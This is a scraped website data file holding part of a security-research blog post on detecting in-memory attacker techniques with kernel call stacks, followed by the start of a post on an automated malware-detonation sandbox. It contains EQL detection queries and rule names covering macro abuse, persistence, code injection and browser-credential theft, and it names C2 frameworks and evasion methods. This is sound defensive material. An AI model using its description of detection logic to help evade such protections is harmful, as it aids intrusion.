started, it's important to know what call stacks are and why they\\u2019re valuable for detection engineering. A \",(0,i.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Call_stack\",rel:\"nofollow\",children:\"call stack\"}),\" is the ordered sequence of functions that are executed to achieve a behavior of a program. It shows in detail which functions (and their associated modules) were executed to lead to a behavior like a new file or process being created. Knowing a behavior\\u2019s call stack, we can build detections with detailed contextual information about what a program is doing and how it\\u2019s doing it.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"deep-visibility\",children:\"Deep Visibility\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The new call stack based detection capability leverages our existing deep in-line kernel visibility for the most common system behaviors (process, file, registry, library, etc). With each event, we capture the call stack for the activity. This is later enriched with module information, symbols, and evidence of suspicious activity. This gives us \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/sysinternals/downloads/procmon\",rel:\"nofollow\",children:\"procmon\"}),\"-like visibility in real-time, powering advanced preventions for in-memory tradecraft.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Process creation call stack fields : \",(0,i.jsx)(e.img,{src:\"/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image12.jpg\",alt:\"\",width:\"1440\",height:\"690\"})]}),`\n`,(0,i.jsxs)(e.p,{children:[\"File, registry and library call stack fields: \",(0,i.jsx)(e.img,{src:\"/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image8.jpg\",alt:\"\",width:\"1440\",height:\"508\"})]}),`\n`,(0,i.jsx)(e.h2,{id:\"new-rules\",children:\"New Rules\"}),`\n`,(0,i.jsx)(e.p,{children:\"Additional visibility wouldn\\u2019t raise the bar unless we could pair it with tuned, high confidence preventions. In 8.8, behavior protection comes out of the box with 30+ rules to provide us with high efficacy against cutting edge attacker techniques such as: - Direct syscalls - Callback-based evasion - Module Stomping - Library loading from unbacked region - Process created from unbacked region - Many more\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Call stacks are a powerful data source that can be used to improve protection against non-memory-based threats as well. For example, the following EQL queries look for the creation of a child process or an executable file extension from an Office process with a call stack containing \",(0,i.jsx)(e.code,{children:\"VBE7.dll\"}),\" (a strong sign of the presence of a macro-enabled document). This increases the signal and coverage of the rule logic while reducing the necessary tuning efforts compared to just process or file creation events with no call stack information:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image29.jpg\",alt:\"\",width:\"1118\",height:\"964\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Below are some examples of matches where Macro-enabled malicious Excel and Word documents spawning a child process where the call stack refers to \",(0,i.jsx)(e.code,{children:\"vbe7.dll\"}),\" :\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image9.jpg\",alt:\"\",width:\"1240\",height:\"387\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Here, we can see a malicious XLL file opened via Excel spawning a legitimate \",(0,i.jsx)(e.code,{children:\"browser\\\\_broker.exe\"}),\" to inject into. The parent call stack indicates that the process creation call is coming from the \",(0,i.jsx)(e.code,{children:\"[xlAutoOpen](https://learn.microsoft.com/en-us/office/client-developer/excel/xlautoopen)\"}),\" function:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image11.jpg\",alt:\"\",width:\"1440\",height:\"419\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The same enrichment is also valuable in library load and registry events. Below is an example of loading the Microsoft Common Language Runtime \",(0,i.jsx)(e.code,{children:\"CLR.DLL\"}),\" module from a suspicious call stack (unbacked memory region with RWX permissions) using the \",(0,i.jsx)(e.a,{href:\"https://github.com/BishopFox/sliver/wiki/Using-3rd-party-tools\",rel:\"nofollow\",children:\"Sliver execute-assembly\"}),\" command to load external .NET assemblies:\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`library where dll.name : \"clr.dll\" and\nprocess.thread.Ext.call_stack_summary : \"*mscoreei.dll|Unbacked*\"\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image4.jpg\",alt:\"\",width:\"1440\",height:\"536\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Hunting for suspicious modification of certain registry keys such as the Run key for persistence tends to be noisy and very common in legit software but if we add the call stack signal to the logic, the suspicion level is significantly increased :\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`registry where \n registry.path : \"H*\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\*\"\n// the creating thread's stack contains frames pointing outside any known executable image\n and process.thread.Ext.call_stack_contains_unbacked == true\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image2.jpg\",alt:\"\",width:\"1420\",height:\"461\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Another \\u201Cfun\\u201D example is the use of the call stack information to detect rogue instances of core system processes that normally have very specific functionality. By signaturing their normal call stacks, we can easily identify outliers. For example, \",(0,i.jsx)(e.code,{children:\"WerFault.exe\"}),\" and \",(0,i.jsx)(e.code,{children:\"wermgr.exe\"}),\" are among the most attractive targets for masquerading:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image30.jpg\",alt:\"\",width:\"1118\",height:\"304\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Examples of matches:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image9.jpg\",alt:\"\",width:\"1240\",height:\"387\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Apart from the use of call stack data for finding suspicious behaviors, it\\u2019s also useful when it comes to excluding false positives from behavior detections in a more granular way. This also helps reduce evasion opportunities.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"A good example is a detection rule looking for unusual Microsoft Office child processes. This rule is used to \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_microsoft_office_fetching_remote_content.toml#L26\",rel:\"nofollow\",children:\"exclude\"}),\" \",(0,i.jsx)(e.code,{children:\"splwow64.exe\"}),\" , which can be legitimately spawned by printing activity. Excluding it by \",(0,i.jsx)(e.code,{children:\"process.executable\"}),\" creates an evasion opportunity via process hollowing or injection, which can make the process tree look normal. We can now mitigate this evasion by requiring such process creations to come from \",(0,i.jsx)(e.code,{children:\"winspool.drv!OpenPrinter\"}),\" :\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`process where event.action == \"start\" and\n process.parent.name : (\"WINWORD.EXE\", \"EXCEL.EXE\", \"POWERPNT.EXE\", \"MSACCESS.EXE\", \"mspub.exe\", \"fltldr.exe\", \"visio.exe\") and\n// excluding splwow64.exe only if it\\u2019s parent callstack is coming from winspool.drv module \nnot (process.executable : \"?:\\\\\\\\Windows\\\\\\\\splwow64.exe\" and\\`\\`_arraysearch(process.parent.thread.Ext.call_stack, $entry, $entry.symbol_info: (\"?:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\winspool.drv!OpenPrinter*\", \"?:\\\\\\\\Windows\\\\\\\\SysWOW64\\\\\\\\winspool.drv!OpenPrinter*\")))\n`})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image3.jpg\",alt:\"\",width:\"969\",height:\"525\"})}),`\n`,(0,i.jsx)(e.p,{children:\"To reduce event volumes, call stack information is collected on the endpoint and processed for detections but not always streamed in events. To always include call stacks in streamed events an advanced option is available in Endpoint policy:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image7.jpg\",alt:\"\",width:\"329\",height:\"82\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"c2-coverage\",children:\"C2 Coverage\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Elastic Endpoint makes quick work detecting some of the top C2 frameworks active today. See below for a screenshot detecting Nighthawk, BruteRatel, CobaltStrike, and ATP41\\u2019s \",(0,i.jsx)(e.a,{href:\"https://www.trendmicro.com/vinfo/gb/security/news/cybercrime-and-digital-threats/earth-baku-returns\",rel:\"nofollow\",children:\"StealthVector\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image5.jpg\",alt:\"\",width:\"1440\",height:\"714\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/image10.jpg\",alt:\"\",width:\"1247\",height:\"632\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"While this capability gives us a lead over the cutting edge of in-memory tradecraft today, attackers will no doubt develop \",(0,i.jsx)(e.a,{href:\"https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs\",rel:\"nofollow\",children:\"new innovations\"}),\" in attempts to evade it. That\\u2019s why we are already hard at work to deliver the next set of leading in-memory detections. Stay tuned!\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"resources\",children:\"Resources\"}),`\n`,(0,i.jsx)(e.p,{children:\"Rules released with 8.8:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_execution_from_a_macro_enabled_office_document.toml\",rel:\"nofollow\",children:\"Execution from a Macro Enabled Office Document\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_macro_execution_via_windows_scripts.toml\",rel:\"nofollow\",children:\"Suspicious Macro Execution via Windows Scripts\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_suspicious_file_dropped_by_a_macro_enabled_document.toml\",rel:\"nofollow\",children:\"Suspicious File Dropped by a Macro Enabled Document\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_shortcut_file_modification_via_macro_enabled_document.toml\",rel:\"nofollow\",children:\"Shortcut File Modification via Macro Enabled Document\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_dll_loaded_from_a_macro_enabled_document.toml\",rel:\"nofollow\",children:\"DLL Loaded from a Macro Enabled Document\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_process_creation_via_microsoft_office_add_ins.toml\",rel:\"nofollow\",children:\"Process Creation via Microsoft Office Add-Ins\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/persistence_registry_or_file_modification_from_suspicious_memory.toml\",rel:\"nofollow\",children:\"Registry or File Modification from Suspicious Memory\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_access_to_browser_credentials_from_suspicious_memory.toml\",rel:\"nofollow\",children:\"Access to Browser Credentials from Suspicious Memory\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_ntdll_memory_unhooking.toml\",rel:\"nofollow\",children:\"Potential NTDLL Memory Unhooking\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_microsoft_common_language_runtime_loaded_from_suspicious_memory.toml\",rel:\"nofollow\",children:\"Microsoft Common Language Runtime Loaded from Suspicious Memory\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_common_language_runtime_loaded_via_an_unsigned_module.toml\",rel:\"nofollow\",children:\"Common Language Runtime Loaded via an Unsigned Module\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_windows_error_manager.toml\",rel:\"nofollow\",children:\"Potential Masquerading as Windows Error Manager\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_image_load_via_ldrloaddll.toml\",rel:\"nofollow\",children:\"Suspicious Image Load via LdrLoadDLL\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_library_loaded_via_a_callback_function.toml\",rel:\"nofollow\",children:\"Library Loaded via a CallBack Function\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_creation_from_modified_ntdll.toml\",rel:\"nofollow\",children:\"Process Creation from Modified NTDLL\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_dll_side_loading_via_a_copied_microsoft_executable.toml\",rel:\"nofollow\",children:\"DLL Side Loading via a Copied Microsoft Executable\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_injection_via_the_console_window_class.toml\",rel:\"nofollow\",children:\"Potential Injection via the Console Window Class\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_unsigned_dll_loaded_by_a_trusted_process.toml\",rel:\"nofollow\",children:\"Suspicious Unsigned DLL Loaded by a Trusted Process\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_stared_via_remote_thread.toml\",rel:\"nofollow\",children:\"Process Started via Remote Thread\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_injection_via_dotnet_debugging.toml\",rel:\"nofollow\",children:\"Potential Injection via DotNET Debugging\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_process_creation_via_shellcode.toml\",rel:\"nofollow\",children:\"Potential Process Creation via ShellCode\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_module_stomping_form_a_copied_library.toml\",rel:\"nofollow\",children:\"Module Stomping form a Copied Library\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_creation_from_a_stomped_module.toml\",rel:\"nofollow\",children:\"Process Creation from a Stomped Module\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_parallel_ntdll_loaded_from_unbacked_memory.toml\",rel:\"nofollow\",children:\"Parallel NTDLL Loaded from Unbacked Memory\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_operation_via_direct_syscall.toml\",rel:\"nofollow\",children:\"Potential Operation via Direct Syscall\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_process_creation_via_direct_syscall.toml\",rel:\"nofollow\",children:\"Potential Process Creation via Direct Syscall\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_from_archive_or_removable_media_via_unbacked_code.toml\",rel:\"nofollow\",children:\"Process from Archive or Removable Media via Unbacked Code\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml\",rel:\"nofollow\",children:\"Network Module Loaded from Suspicious Unbacked Memory\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_or_regsvr32_loaded_a_dll_from_unbacked_memory.toml\",rel:\"nofollow\",children:\"Rundll32 or Regsvr32 Loaded a DLL from Unbacked Memory\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_windows_console_execution_from_unbacked_memory.toml\",rel:\"nofollow\",children:\"Windows Console Execution from Unbacked Memory\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_creation_from_unbacked_memory_via_unsigned_parent.toml\",rel:\"nofollow\",children:\"Process Creation from Unbacked Memory via Unsigned Parent\"})}),`\n`]})]})}function y(t={}){let{wrapper:e}=t.components||{};return e?(0,i.jsx)(e,Object.assign({},t,{children:(0,i.jsx)(d,t)})):d(t)}var k=y;return w(x);})();\n;return Component;"},"_id":"articles/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks.mdx","_raw":{"sourceFilePath":"articles/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks.mdx","sourceFileName":"upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks"},"type":"Article","imageUrl":"/assets/images/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks/blog-thumb-coin-stacks.jpg","readingTime":"7 min read","series":"","url":"/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks","headings":[{"level":2,"title":"Intro","href":"#intro"},{"level":2,"title":"Deep Visibility","href":"#deep-visibility"},{"level":2,"title":"New Rules","href":"#new-rules"},{"level":2,"title":"C2 Coverage","href":"#c2-coverage"},{"level":2,"title":"Conclusion","href":"#conclusion"},{"level":2,"title":"Resources","href":"#resources"}],"author":[{"title":"Joe Desimone","slug":"joe-desimone","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var j=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,d=Object.prototype.hasOwnProperty;var g=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of j(e))!d.call(t,r)\u0026\u0026r!==n\u0026\u0026s(t,r,{get:()=\u003ee[r],enumerable:!(a=f(e,r))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},i(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var c=g((h,m)=\u003e{m.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eM});var o=p(c()),M={title:\"Joe Desimone\",slug:\"joe-desimone\"};function u(t){return(0,o.jsx)(o.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,o.jsx)(e,Object.assign({},t,{children:(0,o.jsx)(u,t)})):u(t)}var F=C;return D(X);})();\n;return Component;"},"_id":"authors/joe-desimone.mdx","_raw":{"sourceFilePath":"authors/joe-desimone.mdx","sourceFileName":"joe-desimone.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/joe-desimone"},"type":"Author","imageUrl":"","url":"/authors/joe-desimone"},{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"},{"title":"Gabriel Landau","slug":"gabriel-landau","description":"Principal Software Engineer II, Elastic","image":"gabriel-landau.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var i=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var x=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var p=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of d(e))!f.call(t,r)\u0026\u0026r!==n\u0026\u0026i(t,r,{get:()=\u003ee[r],enumerable:!(o=m(e,r))||o.enumerable});return t};var _=(t,e,n)=\u003e(n=t!=null?g(x(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),b=t=\u003es(i({},\"__esModule\",{value:!0}),t);var l=p((F,c)=\u003e{c.exports=_jsx_runtime});var D={};j(D,{default:()=\u003eC,frontmatter:()=\u003eM});var a=_(l()),M={title:\"Gabriel Landau\",description:\"Principal Software Engineer II, Elastic\",image:\"gabriel-landau.jpg\",slug:\"gabriel-landau\"};function u(t){return(0,a.jsx)(a.Fragment,{})}function w(t={}){let{wrapper:e}=t.components||{};return e?(0,a.jsx)(e,Object.assign({},t,{children:(0,a.jsx)(u,t)})):u(t)}var C=w;return b(D);})();\n;return Component;"},"_id":"authors/gabriel-landau.mdx","_raw":{"sourceFilePath":"authors/gabriel-landau.mdx","sourceFileName":"gabriel-landau.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/gabriel-landau"},"type":"Author","imageUrl":"/assets/images/authors/gabriel-landau.jpg","url":"/authors/gabriel-landau"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"}]},{"title":"Click, Click… Boom! Automating Protections Testing with Detonate","slug":"click-click-boom-automating-protections-testing-with-detonate","date":"2023-05-04","description":"To automate this process and test our protections at scale, we built Detonate, a system that is used by security research engineers to measure the efficacy of our Elastic Security solution in an automated fashion.","image":"blog-thumb-tools-various.jpg","tags":["detonate"],"body":{"raw":"\n## Preamble\n\nImagine you are an Endpoint artifact developer. After you put in the work to ensure protection against conventional shellcode injections or ransomware innovations, how do you know it actually works before you send it out into the world?\n\nFirst, you set up your end-to-end system, which involves setting up several services, the infrastructure, network configuration, and more. Then, you run some malware; the data you collect answers questions about performance and efficacy, and may be an important research resource in the future. After you spend a day testing and gathering your results, you may want to run several hundred hashes over multiple kinds of operating systems and machine types, a daunting task if done entirely manually.\n\nTo automate this process and test our protections at scale, we built Detonate, a system that is used by security research engineers to measure the efficacy of our Elastic Security solution in an automated fashion. Our goal is to have it take security researchers only a couple of clicks to test our protections against malware. (Thus: click, click… boom!)\n\nIn this series of posts, we’ll: - Introduce Detonate and why we built it - Explore how Detonate works and the technical implementation details - Describe case studies on how our teams use it at Elastic - Discuss opening our efficacy testing to the community to help the world protect their data from attack\n\nInterested in other posts on Detonate? Check out [Part 2 - Into The Weeds: How We Run Detonate](https://www.elastic.co/security-labs/into-the-weeds-how-we-run-detonate) where we break down how Detonate works and dive deeper into the technical implementation.\n\n## What is Detonate?\n\nAt a high level, Detonate runs malware and other potentially malicious software in a controlled (i.e., sandboxed) environment where the full suite of Elastic Security capabilities are enabled. Detonate accepts a file hash (usually a SHA256) and performs the following actions:\n\n- Prepares all files needed for detonation, including the malicious file\n- Provisions a virtual machine (VM) instance in a sandboxed environment, with limited connectivity to the outside world\n- Waits until file execution completes; this happens when, for example, an execution result file is found or the VM instance is stopped or older than a task timeout\n- Stops the running VM instance (if necessary) and cleans up the sandboxed environment\n- Generates an event summary based on telemetry and alerts produced during detonation\n\nThe results of these detonations are made available to the team for research and development purposes. By post-processing the logs, events, and alerts collected during detonation, we can enrich them with third-party intelligence and other sources to evaluate the efficacy of new and existing Elastic Security protection features.\n\n## What does it help us with?\n\n### Measuring Efficacy\n\nTo build the best EPP on the market, we have to continuously measure the effectiveness of our product against the latest threats. Detonate is used to execute many tens of thousands of samples every month from our data feeds. Gaps in coverage are automatically identified and used to prioritize improvements to our protections.\n\n### Supporting existing protections\n\nMany of our protections have associated artifacts (such as machine learning models and rule definitions) which receive regular updates. These updates need testing to ensure we identify and remediate regressions before they end up in a user’s environment.\n\nDetonate provides a framework and suite of tools to automate the analysis involved in this testing process. By leveraging a corpus of hashes with known good and bad software, we can validate our protections before they are deployed to users.\n\n### Threat research\n\nSome of our security researchers scour the internet daily for new and emerging threats. By giving them an easy-to-use platform to test malicious software they find in the wild, we better understand how Elastic Security defends against those threats or if we need to update our protections.\n\n### Evaluating new protections\n\nIn addition to testing existing protections, new protections run the risk of adverse interactions with our existing suite of layered capabilities. A new protection may be easily tested on its own, but tests may hide unintended interactions or conflicts with existing protections. Detonate provides a way for us to customize the configuration of the Elastic Stack and individual protections to more easily find and identify such conflicts earlier in development.\n\n## What’s next?\n\nIn this publication, we introduced Detonate \u0026 what we use it for at Elastic. We discussed the benefits it provides our team when assessing the performance of our security artifacts.\n\nNow that you know what it is, we will break down how Detonate works. In our next post, we’ll dive 